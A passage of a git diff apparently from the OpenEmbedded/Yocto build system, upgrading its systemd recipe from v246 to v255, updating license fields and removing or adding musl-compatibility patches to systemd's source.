if len(args.service) != 0:
sys.exit("Too many arguments.")
diff --git a/meta/recipes-core/systemd/systemd.inc b/meta/recipes-core/systemd/systemd.inc
index 8ce78efbbd..a35db5091e 100644
--- a/meta/recipes-core/systemd/systemd.inc
+++ b/meta/recipes-core/systemd/systemd.inc
@@ -10,12 +10,13 @@ state, maintains mount and automount points and implements an \
elaborate transactional dependency-based service control logic. It can \
work as a drop-in replacement for sysvinit."
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-or-later"
+LICENSE:libsystemd = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://LICENSE.GPL2;md5=751419260aa954499f7abaabaa882bbe \
file://LICENSE.LGPL2.1;md5=4fbd65380cdd255951079008b364516c"
-SRCREV = "5c68ad14af6c89261f31f0abb4850fb1c99e8cfd"
-SRCBRANCH = "v246-stable"
-SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=git;branch=${SRCBRANCH}"
+SRCREV = "387a14a7b67b8b76adaed4175e14bb7e39b2f738"
+SRCBRANCH = "v255-stable"
+SRC_URI = "git://github.com/systemd/systemd-stable.git;protocol=https;branch=${SRCBRANCH}"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-core/systemd/systemd/00-create-volatile.conf b/meta/recipes-core/systemd/systemd/00-create-volatile.conf
index 87cbe1e7d3..c4277221a2 100644
--- a/meta/recipes-core/systemd/systemd/00-create-volatile.conf
+++ b/meta/recipes-core/systemd/systemd/00-create-volatile.conf
@@ -3,5 +3,6 @@
# inside /var/log.
+d /run/lock 1777 - - -
d /var/volatile/log - - - -
d /var/volatile/tmp 1777 - -
diff --git a/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
new file mode 100644
index 0000000000..6b224ba9b9
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/00-hostnamed-network-user.conf
@@ -0,0 +1,6 @@
+[Service]
+# By running with these options instead of root, networkd is allowed to request
+# a hostname change via DBUS when policykit is not present
+User=systemd-network
+Group=systemd-hostname
+AmbientCapabilities=CAP_SYS_ADMIN
diff --git a/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch b/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch
deleted file mode 100644
index 723cd2e52e..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-Handle-missing-gshadow.patch
+++ /dev/null
@@ -1,168 +0,0 @@
-From ef9580ea1e2f1e57af3c7dcb0ec392ba8dbb5c8d Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Tue, 10 Mar 2020 11:05:20 +0000
-Subject: [PATCH] Handle missing gshadow
-
-gshadow usage is now present in the userdb code. Mask all uses of it to
-allow compilation on musl
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/shared/group-record-nss.c | 20 ++++++++++++++++++++
- src/shared/group-record-nss.h | 4 ++++
- src/shared/userdb.c | 6 ++++++
- 3 files changed, 30 insertions(+)
-
-Index: systemd-stable/src/shared/group-record-nss.c
-===================================================================
---- systemd-stable.orig/src/shared/group-record-nss.c
-+++ systemd-stable/src/shared/group-record-nss.c
-@@ -19,8 +19,10 @@ int nss_group_to_group_record(
- if (isempty(grp->gr_name))
- return -EINVAL;
-
-+#if ENABLE_GSHADOW
- if (sgrp && !streq_ptr(sgrp->sg_namp, grp->gr_name))
- return -EINVAL;
-+#endif
-
- g = group_record_new();
- if (!g)
-@@ -36,6 +38,7 @@ int nss_group_to_group_record(
-
- g->gid = grp->gr_gid;
-
-+#if ENABLE_GSHADOW
- if (sgrp) {
- if (hashed_password_valid(sgrp->sg_passwd)) {
- g->hashed_password = strv_new(sgrp->sg_passwd);
-@@ -51,6 +54,7 @@ int nss_group_to_group_record(
- if (!g->administrators)
- return -ENOMEM;
- }
-+#endif
-
- r = json_build(&g->json, JSON_BUILD_OBJECT(
- JSON_BUILD_PAIR("groupName", JSON_BUILD_STRING(g->group_name)),
-@@ -76,6 +80,7 @@ int nss_sgrp_for_group(const struct grou
- assert(ret_sgrp);
- assert(ret_buffer);
-
-+#if ENABLE_GSHADOW
- for (;;) {
- _cleanup_free_ char *buf = NULL;
- struct sgrp sgrp, *result;
-@@ -104,6 +109,9 @@ int nss_sgrp_for_group(const struct grou
- buflen *= 2;
- buf = mfree(buf);
- }
-+#else
-+ return -ESRCH;
-+#endif
- }
-
- int nss_group_record_by_name(
-@@ -115,7 +123,9 @@ int nss_group_record_by_name(
- struct group grp, *result;
- bool incomplete = false;
- size_t buflen = 4096;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp, *sresult = NULL;
-+#endif
- int r;
-
- assert(name);
-@@ -145,6 +155,7 @@ int nss_group_record_by_name(
- buf = mfree(buf);
- }
-
-+#if ENABLE_GSHADOW
- if (with_shadow) {
- r = nss_sgrp_for_group(result, &sgrp, &sbuf);
- if (r < 0) {
-@@ -156,6 +167,9 @@ int nss_group_record_by_name(
- incomplete = true;
-
- r = nss_group_to_group_record(result, sresult, ret);
-+#else
-+ r = nss_group_to_group_record(result, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
-@@ -172,7 +186,9 @@ int nss_group_record_by_gid(
- struct group grp, *result;
- bool incomplete = false;
- size_t buflen = 4096;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp, *sresult = NULL;
-+#endif
- int r;
-
- assert(ret);
-@@ -200,6 +216,7 @@ int nss_group_record_by_gid(
- buf = mfree(buf);
- }
-
-+#if ENABLE_GSHADOW
- if (with_shadow) {
- r = nss_sgrp_for_group(result, &sgrp, &sbuf);
- if (r < 0) {
-@@ -211,6 +228,9 @@ int nss_group_record_by_gid(
- incomplete = true;
-
- r = nss_group_to_group_record(result, sresult, ret);
-+#else
-+ r = nss_group_to_group_record(result, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
-Index: systemd-stable/src/shared/group-record-nss.h
-===================================================================
---- systemd-stable.orig/src/shared/group-record-nss.h
-+++ systemd-stable/src/shared/group-record-nss.h
-@@ -2,7 +2,11 @@
- #pragma once
-
- #include <grp.h>
-+#if ENABLE_GSHADOW
- #include <gshadow.h>
-+#else
-+struct sgrp;
-+#endif
-
- #include "group-record.h"
-
-Index: systemd-stable/src/shared/userdb.c
-===================================================================
---- systemd-stable.orig/src/shared/userdb.c
-+++ systemd-stable/src/shared/userdb.c
-@@ -930,13 +930,16 @@ int groupdb_iterator_get(UserDBIterator
- if (gr) {
- _cleanup_free_ char *buffer = NULL;
- bool incomplete = false;
-+#if ENABLE_GSHADOW
- struct sgrp sgrp;
-+#endif
-
- if (streq_ptr(gr->gr_name, "root"))
- iterator->synthesize_root = false;
- if (gr->gr_gid == GID_NOBODY)
- iterator->synthesize_nobody = false;
-
-+#if ENABLE_GSHADOW
- r = nss_sgrp_for_group(gr, &sgrp, &buffer);
- if (r < 0) {
- log_debug_errno(r, "Failed to acquire shadow entry for group %s, ignoring: %m", gr->gr_name);
-@@ -944,6 +947,9 @@ int groupdb_iterator_get(UserDBIterator
- }
-
- r = nss_group_to_group_record(gr, r >= 0 ? &sgrp : NULL, ret);
-+#else
-+ r = nss_group_to_group_record(gr, NULL, ret);
-+#endif
- if (r < 0)
- return r;
-
diff --git a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch b/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
deleted file mode 100644
index 2676c144f2..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 564830719be2017c4953589d50f21a9e856a4ecc Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Thu, 21 Feb 2019 16:23:24 +0800
-Subject: [PATCH] binfmt: Don't install dependency links at install time for
- the binfmt services
-
-use [Install] blocks so that they get created when the service is enabled
-like a traditional service.
-
-The [Install] blocks were rejected upstream as they don't have a way to
-"enable" it on install without static symlinks which can't be disabled,
-only masked. We however can do that in a postinst.
-
-Upstream-Status: Denied
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- units/meson.build | 6 ++----
- units/proc-sys-fs-binfmt_misc.automount | 3 +++
- units/systemd-binfmt.service.in | 4 ++++
- 3 files changed, 9 insertions(+), 4 deletions(-)
-
-Index: systemd-stable/units/meson.build
-===================================================================
---- systemd-stable.orig/units/meson.build
-+++ systemd-stable/units/meson.build
-@@ -54,8 +54,7 @@ units = [
- ['poweroff.target', '',
- (with_runlevels ? 'runlevel0.target' : '')],
- ['printer.target', ''],
-- ['proc-sys-fs-binfmt_misc.automount', 'ENABLE_BINFMT',
-- 'sysinit.target.wants/'],
-+ ['proc-sys-fs-binfmt_misc.automount', 'ENABLE_BINFMT'],
- ['proc-sys-fs-binfmt_misc.mount', 'ENABLE_BINFMT'],
- ['reboot.target', '',
- (with_runlevels ? 'runlevel6.target ctrl-alt-del.target' : 'ctrl-alt-del.target')],
-@@ -162,8 +161,7 @@ in_units = [
- ['rc-local.service', 'HAVE_SYSV_COMPAT'],
- ['rescue.service', ''],
- ['systemd-backlight@.service', 'ENABLE_BACKLIGHT'],
-- ['systemd-binfmt.service', 'ENABLE_BINFMT',
-- 'sysinit.target.wants/'],
-+ ['systemd-binfmt.service', 'ENABLE_BINFMT'],
- ['systemd-bless-boot.service', 'ENABLE_EFI HAVE_BLKID'],
- ['systemd-boot-check-no-failures.service', ''],
- ['systemd-coredump@.service', 'ENABLE_COREDUMP'],
-Index: systemd-stable/units/proc-sys-fs-binfmt_misc.automount
-===================================================================
---- systemd-stable.orig/units/proc-sys-fs-binfmt_misc.automount
-+++ systemd-stable/units/proc-sys-fs-binfmt_misc.automount
-@@ -18,3 +18,6 @@ ConditionPathIsReadWrite=/proc/sys/
-
- [Automount]
- Where=/proc/sys/fs/binfmt_misc
-+
-+[Install]
-+WantedBy=sysinit.target
-Index: systemd-stable/units/systemd-binfmt.service.in
-===================================================================
---- systemd-stable.orig/units/systemd-binfmt.service.in
-+++ systemd-stable/units/systemd-binfmt.service.in
-@@ -14,6 +14,7 @@ Documentation=https://www.kernel.org/doc
- Documentation=https://www.freedesktop.org/wiki/Software/systemd/APIFileSystems
- DefaultDependencies=no
- Conflicts=shutdown.target
-+Wants=proc-sys-fs-binfmt_misc.automount
- After=proc-sys-fs-binfmt_misc.automount
- After=proc-sys-fs-binfmt_misc.mount
- Before=sysinit.target shutdown.target
-@@ -30,3 +31,6 @@ RemainAfterExit=yes
- ExecStart=@rootlibexecdir@/systemd-binfmt
- ExecStop=@rootlibexecdir@/systemd-binfmt --unregister
- TimeoutSec=90s
-+
-+[Install]
-+WantedBy=sysinit.target
diff --git a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch b/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
deleted file mode 100644
index 39a975319b..0000000000
--- a/meta/recipes-core/systemd/systemd/0001-do-not-disable-buffer-in-writing-files.patch
+++ /dev/null
@@ -1,411 +0,0 @@
-From f92fd7e77ed5aab2dda01a20e6891c37f09415d3 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Fri, 1 Mar 2019 15:22:15 +0800
-Subject: [PATCH] do not disable buffer in writing files
-
-Do not disable buffer in writing files, otherwise we get
-failure at boot for musl like below.
-
- [!!!!!!] Failed to allocate manager object.
-
-And there will be other failures, critical or not critical.
-This is specific to musl.
-
-Upstream-Status: Inappropriate [musl]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[Rebased for v242]
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/cgroup-util.c | 10 +++++-----
- src/basic/procfs-util.c | 4 ++--
- src/basic/smack-util.c | 2 +-
- src/basic/util.c | 2 +-
- src/binfmt/binfmt.c | 6 +++---
- src/core/main.c | 4 ++--
- src/core/smack-setup.c | 8 ++++----
- src/hibernate-resume/hibernate-resume.c | 2 +-
- src/libsystemd/sd-device/sd-device.c | 2 +-
- src/login/logind-dbus.c | 2 +-
- src/nspawn/nspawn-cgroup.c | 2 +-
- src/nspawn/nspawn.c | 6 +++---
- src/shared/cgroup-setup.c | 4 ++--
- src/shared/sysctl-util.c | 2 +-
- src/sleep/sleep.c | 8 ++++----
- src/udev/udevadm-trigger.c | 2 +-
- src/udev/udevd.c | 2 +-
- src/vconsole/vconsole-setup.c | 2 +-
- 18 files changed, 35 insertions(+), 35 deletions(-)
-
-Index: systemd-stable/src/basic/cgroup-util.c
-===================================================================
---- systemd-stable.orig/src/basic/cgroup-util.c
-+++ systemd-stable/src/basic/cgroup-util.c
-@@ -769,7 +769,7 @@ int cg_install_release_agent(const char
-
- sc = strstrip(contents);
- if (isempty(sc)) {
-- r = write_string_file(fs, agent, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, agent, 0);
- if (r < 0)
- return r;
- } else if (!path_equal(sc, agent))
-@@ -787,7 +787,7 @@ int cg_install_release_agent(const char
-
- sc = strstrip(contents);
- if (streq(sc, "0")) {
-- r = write_string_file(fs, "1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "1", 0);
- if (r < 0)
- return r;
-
-@@ -814,7 +814,7 @@ int cg_uninstall_release_agent(const cha
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "0", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "0", 0);
- if (r < 0)
- return r;
-
-@@ -824,7 +824,7 @@ int cg_uninstall_release_agent(const cha
- if (r < 0)
- return r;
-
-- r = write_string_file(fs, "", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, "", 0);
- if (r < 0)
- return r;
-
-@@ -1656,7 +1656,7 @@ int cg_set_attribute(const char *control
- if (r < 0)
- return r;
-
-- return write_string_file(p, value, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, 0);
- }
-
- int cg_get_attribute(const char *controller, const char *path, const char *attribute, char **ret) {
-Index: systemd-stable/src/basic/procfs-util.c
-===================================================================
---- systemd-stable.orig/src/basic/procfs-util.c
-+++ systemd-stable/src/basic/procfs-util.c
-@@ -86,13 +86,13 @@ int procfs_tasks_set_limit(uint64_t limi
- * decrease it, as threads-max is the much more relevant sysctl. */
- if (limit > pid_max-1) {
- sprintf(buffer, "%" PRIu64, limit+1); /* Add one, since PID 0 is not a valid PID */
-- r = write_string_file("/proc/sys/kernel/pid_max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/pid_max", buffer, 0);
- if (r < 0)
- return r;
- }
-
- sprintf(buffer, "%" PRIu64, limit);
-- r = write_string_file("/proc/sys/kernel/threads-max", buffer, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/threads-max", buffer, 0);
- if (r < 0) {
- uint64_t threads_max;
-
-Index: systemd-stable/src/basic/smack-util.c
-===================================================================
---- systemd-stable.orig/src/basic/smack-util.c
-+++ systemd-stable/src/basic/smack-util.c
-@@ -114,7 +114,7 @@ int mac_smack_apply_pid(pid_t pid, const
- return 0;
-
- p = procfs_file_alloca(pid, "attr/current");
-- r = write_string_file(p, label, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(p, label, 0);
- if (r < 0)
- return r;
-
-Index: systemd-stable/src/basic/util.c
-===================================================================
---- systemd-stable.orig/src/basic/util.c
-+++ systemd-stable/src/basic/util.c
-@@ -267,7 +267,7 @@ void disable_coredumps(void) {
- if (detect_container() > 0)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", "|/bin/false", 0);
- if (r < 0)
- log_debug_errno(r, "Failed to turn off coredumps, ignoring: %m");
- }
-Index: systemd-stable/src/binfmt/binfmt.c
-===================================================================
---- systemd-stable.orig/src/binfmt/binfmt.c
-+++ systemd-stable/src/binfmt/binfmt.c
-@@ -48,7 +48,7 @@ static int delete_rule(const char *rule)
- if (!fn)
- return log_oom();
-
-- return write_string_file(fn, "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(fn, "-1", 0);
- }
-
- static int apply_rule(const char *rule) {
-@@ -56,7 +56,7 @@ static int apply_rule(const char *rule)
-
- (void) delete_rule(rule);
-
-- r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/fs/binfmt_misc/register", rule, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to add binary format: %m");
-
-@@ -223,7 +223,7 @@ static int run(int argc, char *argv[]) {
- }
-
- /* Flush out all rules */
-- (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file("/proc/sys/fs/binfmt_misc/status", "-1", 0);
-
- STRV_FOREACH(f, files) {
- k = apply_file(*f, true);
-Index: systemd-stable/src/core/main.c
-===================================================================
---- systemd-stable.orig/src/core/main.c
-+++ systemd-stable/src/core/main.c
-@@ -1382,7 +1382,7 @@ static int bump_unix_max_dgram_qlen(void
- if (v >= DEFAULT_UNIX_MAX_DGRAM_QLEN)
- return 0;
-
-- r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", WRITE_STRING_FILE_DISABLE_BUFFER, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
-+ r = write_string_filef("/proc/sys/net/unix/max_dgram_qlen", 0, "%lu", DEFAULT_UNIX_MAX_DGRAM_QLEN);
- if (r < 0)
- return log_full_errno(IN_SET(r, -EROFS, -EPERM, -EACCES) ? LOG_DEBUG : LOG_WARNING, r,
- "Failed to bump AF_UNIX datagram queue length, ignoring: %m");
-@@ -1668,7 +1668,7 @@ static void initialize_core_pattern(bool
- if (getpid_cached() != 1)
- return;
-
-- r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/sys/kernel/core_pattern", arg_early_core_pattern, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to write '%s' to /proc/sys/kernel/core_pattern, ignoring: %m", arg_early_core_pattern);
- }
-Index: systemd-stable/src/core/smack-setup.c
-===================================================================
---- systemd-stable.orig/src/core/smack-setup.c
-+++ systemd-stable/src/core/smack-setup.c
-@@ -325,17 +325,17 @@ int mac_smack_setup(bool *loaded_policy)
- }
-
- #ifdef SMACK_RUN_LABEL
-- r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/attr/current", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK label \"" SMACK_RUN_LABEL "\" on self: %m");
-- r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/ambient", SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK ambient label \"" SMACK_RUN_LABEL "\": %m");
- r = write_string_file("/sys/fs/smackfs/netlabel",
-- "0.0.0.0/0 " SMACK_RUN_LABEL, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ "0.0.0.0/0 " SMACK_RUN_LABEL, 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"0.0.0.0/0 " SMACK_RUN_LABEL "\": %m");
-- r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/fs/smackfs/netlabel", "127.0.0.1 -CIPSO", 0);
- if (r < 0)
- log_warning_errno(r, "Failed to set SMACK netlabel rule \"127.0.0.1 -CIPSO\": %m");
- #endif
-Index: systemd-stable/src/hibernate-resume/hibernate-resume.c
-===================================================================
---- systemd-stable.orig/src/hibernate-resume/hibernate-resume.c
-+++ systemd-stable/src/hibernate-resume/hibernate-resume.c
-@@ -45,7 +45,7 @@ int main(int argc, char *argv[]) {
- return EXIT_FAILURE;
- }
-
-- r = write_string_file("/sys/power/resume", major_minor, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", major_minor, 0);
- if (r < 0) {
- log_error_errno(r, "Failed to write '%s' to /sys/power/resume: %m", major_minor);
- return EXIT_FAILURE;
-Index: systemd-stable/src/libsystemd/sd-device/sd-device.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-device/sd-device.c
-+++ systemd-stable/src/libsystemd/sd-device/sd-device.c
-@@ -1877,7 +1877,7 @@ _public_ int sd_device_set_sysattr_value
- if (!value)
- return -ENOMEM;
-
-- r = write_string_file(path, value, WRITE_STRING_FILE_DISABLE_BUFFER | WRITE_STRING_FILE_NOFOLLOW);
-+ r = write_string_file(path, value, 0 | WRITE_STRING_FILE_NOFOLLOW);
- if (r < 0) {
- if (r == -ELOOP)
- return -EINVAL;
-Index: systemd-stable/src/login/logind-dbus.c
-===================================================================
---- systemd-stable.orig/src/login/logind-dbus.c
-+++ systemd-stable/src/login/logind-dbus.c
-@@ -1341,7 +1341,7 @@ static int trigger_device(Manager *m, sd
- if (!t)
- return -ENOMEM;
-
-- (void) write_string_file(t, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ (void) write_string_file(t, "change", 0);
- }
-
- return 0;
-Index: systemd-stable/src/nspawn/nspawn-cgroup.c
-===================================================================
---- systemd-stable.orig/src/nspawn/nspawn-cgroup.c
-+++ systemd-stable/src/nspawn/nspawn-cgroup.c
-@@ -124,7 +124,7 @@ int sync_cgroup(pid_t pid, CGroupUnified
- fn = strjoina(tree, cgroup, "/cgroup.procs");
-
- sprintf(pid_string, PID_FMT, pid);
-- r = write_string_file(fn, pid_string, WRITE_STRING_FILE_DISABLE_BUFFER|WRITE_STRING_FILE_MKDIR_0755);
-+ r = write_string_file(fn, pid_string, WRITE_STRING_FILE_MKDIR_0755);
- if (r < 0) {
- log_error_errno(r, "Failed to move process: %m");
- goto finish;
-Index: systemd-stable/src/nspawn/nspawn.c
-===================================================================
---- systemd-stable.orig/src/nspawn/nspawn.c
-+++ systemd-stable/src/nspawn/nspawn.c
-@@ -2493,7 +2493,7 @@ static int reset_audit_loginuid(void) {
- if (streq(p, "4294967295"))
- return 0;
-
-- r = write_string_file("/proc/self/loginuid", "4294967295", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/proc/self/loginuid", "4294967295", 0);
- if (r < 0) {
- log_error_errno(r,
- "Failed to reset audit login UID. This probably means that your kernel is too\n"
-@@ -3726,13 +3726,13 @@ static int setup_uid_map(pid_t pid) {
-
- xsprintf(uid_map, "/proc/" PID_FMT "/uid_map", pid);
- xsprintf(line, UID_FMT " " UID_FMT " " UID_FMT "\n", 0, arg_uid_shift, arg_uid_range);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write UID map: %m");
-
- /* We always assign the same UID and GID ranges */
- xsprintf(uid_map, "/proc/" PID_FMT "/gid_map", pid);
-- r = write_string_file(uid_map, line, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(uid_map, line, 0);
- if (r < 0)
- return log_error_errno(r, "Failed to write GID map: %m");
-
-Index: systemd-stable/src/shared/cgroup-setup.c
-===================================================================
---- systemd-stable.orig/src/shared/cgroup-setup.c
-+++ systemd-stable/src/shared/cgroup-setup.c
-@@ -267,7 +267,7 @@ int cg_attach(const char *controller, co
-
- xsprintf(c, PID_FMT "\n", pid);
-
-- r = write_string_file(fs, c, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(fs, c, 0);
- if (r < 0)
- return r;
-
-@@ -817,7 +817,7 @@ int cg_enable_everywhere(
- return log_debug_errno(errno, "Failed to open cgroup.subtree_control file of %s: %m", p);
- }
-
-- r = write_string_stream(f, s, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_stream(f, s, 0);
- if (r < 0) {
- log_debug_errno(r, "Failed to %s controller %s for %s (%s): %m",
- FLAGS_SET(mask, bit) ? "enable" : "disable", n, p, fs);
-Index: systemd-stable/src/shared/sysctl-util.c
-===================================================================
---- systemd-stable.orig/src/shared/sysctl-util.c
-+++ systemd-stable/src/shared/sysctl-util.c
-@@ -93,7 +93,7 @@ int sysctl_write_ip_property(int af, con
-
- log_debug("Setting '%s' to '%s'", p, value);
-
-- return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | WRITE_STRING_FILE_DISABLE_BUFFER);
-+ return write_string_file(p, value, WRITE_STRING_FILE_VERIFY_ON_FAILURE | 0);
- }
-
- int sysctl_read(const char *property, char **content) {
-Index: systemd-stable/src/sleep/sleep.c
-===================================================================
---- systemd-stable.orig/src/sleep/sleep.c
-+++ systemd-stable/src/sleep/sleep.c
-@@ -48,7 +48,7 @@ static int write_hibernate_location_info
- assert(hibernate_location->swap);
-
- xsprintf(resume_str, "%u:%u", major(hibernate_location->devno), minor(hibernate_location->devno));
-- r = write_string_file("/sys/power/resume", resume_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume", resume_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write partition device to /sys/power/resume for '%s': '%s': %m",
- hibernate_location->swap->device, resume_str);
-@@ -75,7 +75,7 @@ static int write_hibernate_location_info
- }
-
- xsprintf(offset_str, "%" PRIu64, hibernate_location->offset);
-- r = write_string_file("/sys/power/resume_offset", offset_str, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/power/resume_offset", offset_str, 0);
- if (r < 0)
- return log_debug_errno(r, "Failed to write swap file offset to /sys/power/resume_offset for '%s': '%s': %m",
- hibernate_location->swap->device, offset_str);
-@@ -92,7 +92,7 @@ static int write_mode(char **modes) {
- STRV_FOREACH(mode, modes) {
- int k;
-
-- k = write_string_file("/sys/power/disk", *mode, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_file("/sys/power/disk", *mode, 0);
- if (k >= 0)
- return 0;
-
-@@ -114,7 +114,7 @@ static int write_state(FILE **f, char **
- STRV_FOREACH(state, states) {
- int k;
-
-- k = write_string_stream(*f, *state, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ k = write_string_stream(*f, *state, 0);
- if (k >= 0)
- return 0;
- log_debug_errno(k, "Failed to write '%s' to /sys/power/state: %m", *state);
-Index: systemd-stable/src/udev/udevadm-trigger.c
-===================================================================
---- systemd-stable.orig/src/udev/udevadm-trigger.c
-+++ systemd-stable/src/udev/udevadm-trigger.c
-@@ -43,7 +43,7 @@ static int exec_list(sd_device_enumerato
- if (!filename)
- return log_oom();
-
-- r = write_string_file(filename, action, WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, action, 0);
- if (r < 0) {
- bool ignore = IN_SET(r, -ENOENT, -EACCES, -ENODEV, -EROFS);
-
-Index: systemd-stable/src/udev/udevd.c
-===================================================================
---- systemd-stable.orig/src/udev/udevd.c
-+++ systemd-stable/src/udev/udevd.c
-@@ -1153,7 +1153,7 @@ static int synthesize_change_one(sd_devi
-
- filename = strjoina(syspath, "/uevent");
- log_device_debug(dev, "device is closed, synthesising 'change' on %s", syspath);
-- r = write_string_file(filename, "change", WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file(filename, "change", 0);
- if (r < 0)
- return log_device_debug_errno(dev, r, "Failed to write 'change' to %s: %m", filename);
- return 0;
-Index: systemd-stable/src/vconsole/vconsole-setup.c
-===================================================================
---- systemd-stable.orig/src/vconsole/vconsole-setup.c
-+++ systemd-stable/src/vconsole/vconsole-setup.c
-@@ -116,7 +116,7 @@ static int toggle_utf8_vc(const char *na
- static int toggle_utf8_sysfs(bool utf8) {
- int r;
-
-- r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), WRITE_STRING_FILE_DISABLE_BUFFER);
-+ r = write_string_file("/sys/module/vt/parameters/default_utf8", one_zero(utf8), 0);
- if (r < 0)
- return log_warning_errno(r, "Failed to %s sysfs UTF-8 flag: %m", enable_disable(utf8));
-
diff --git a/meta/recipes-core/systemd/systemd/0001-missing_type.h-add-comparison_fn_t.patch b/meta/recipes-core/systemd/systemd/0001-missing_type.h-add-comparison_fn_t.patch
new file mode 100644
index 0000000000..2aa5dee6b5
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0001-missing_type.h-add-comparison_fn_t.patch
@@ -0,0 +1,61 @@
+From 01195eb9f7d59139fb45df506ac6b3968c14a57f Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 13:55:12 +0800
+Subject: [PATCH 01/22] missing_type.h: add comparison_fn_t
+
+Make it work with musl where comparison_fn_t and is not provided.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+[Rebased for v244]
